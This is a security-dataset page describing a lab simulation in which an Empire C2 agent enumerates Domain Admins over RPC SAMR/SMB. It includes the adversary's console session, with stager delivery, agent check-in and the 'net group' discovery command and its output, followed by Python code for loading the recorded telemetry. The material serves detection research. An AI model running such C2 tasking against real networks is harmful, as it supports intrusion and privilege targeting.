Empire Shell Net Domain Admins

Metadata

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2019/05/18

Modification Date

2020/09/20

Tactics

TA0007

Techniques

T1069.002

Tags

Domain Groups Enumeration,RPC SAMR SamrQueryInformationGroup

Dataset Description

This dataset represents adversaries enumerating members of domain groups (i.e. Domain Admins) via RPC SAMR interface over SMB. Some of the main RPC methods captured over the network are SamrLookupNamesInDomain (Opnum 17) and SamrQueryInformationGroup (Opnum 20) where there are indicators about the specific group name enumerated.

Simulation Metadata

Tools

type

Name

Module

C2

Empire

shell

Adversary View

(Empire: stager/multi/launcher) > 
[*] Sending POWERSHELL stager (stage 1) to 172.18.39.6
[*] New agent GM4LN8V9 checked in
[+] Initial agent GM4LN8V9 from 172.18.39.6 now active (Slack)
[*] Sending agent (stage 2) to GM4LN8V9 at 172.18.39.6
agents

[*] Active agents:

Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen            Listener
----     -- -----------     ------------      --------                -------            ---    -----    ---------            ----------------
A7BWPR32 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         5904   5/0.0    2020-09-18 18:29:36  http            
HBEW9G1D ps 172.18.39.6     WORKSTATION6      THESHIRE\sbeavers       powershell         6036   5/0.0    2020-09-18 18:15:39  http            
UF5MYK42 ps 172.18.39.5     WORKSTATION5      *THESHIRE\pgustavo      powershell         6404   5/0.0    2020-09-20 21:28:07  http            

GM4LN8V9 ps 172.18.39.6     WORKSTATION6      THESHIRE\sbeavers       powershell         5724   5/0.0    2020-09-21 08:05:25  http            

(Empire: agents) > interact GM4LN8V9
(Empire: GM4LN8V9) > shell net group "Domain Admins" /domain
[*] Tasked GM4LN8V9 to run TASK_SHELL
[*] Agent GM4LN8V9 tasked with task ID 1
(Empire: GM4LN8V9) > 
The request will be processed at a domain controller for domain theshire.local.

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
mscott                   pgustavo                 wardog                   
The command completed successfully.

..Command execution completed.

(Empire: GM4LN8V9) >

Explore Datasets

Download & Decompress Dataset

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/discovery/host/empire_shell_rpc_samr_smb_group_domain_admins_standard_user.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events

df.groupby(['Channel']).size().sort_values(ascending=False)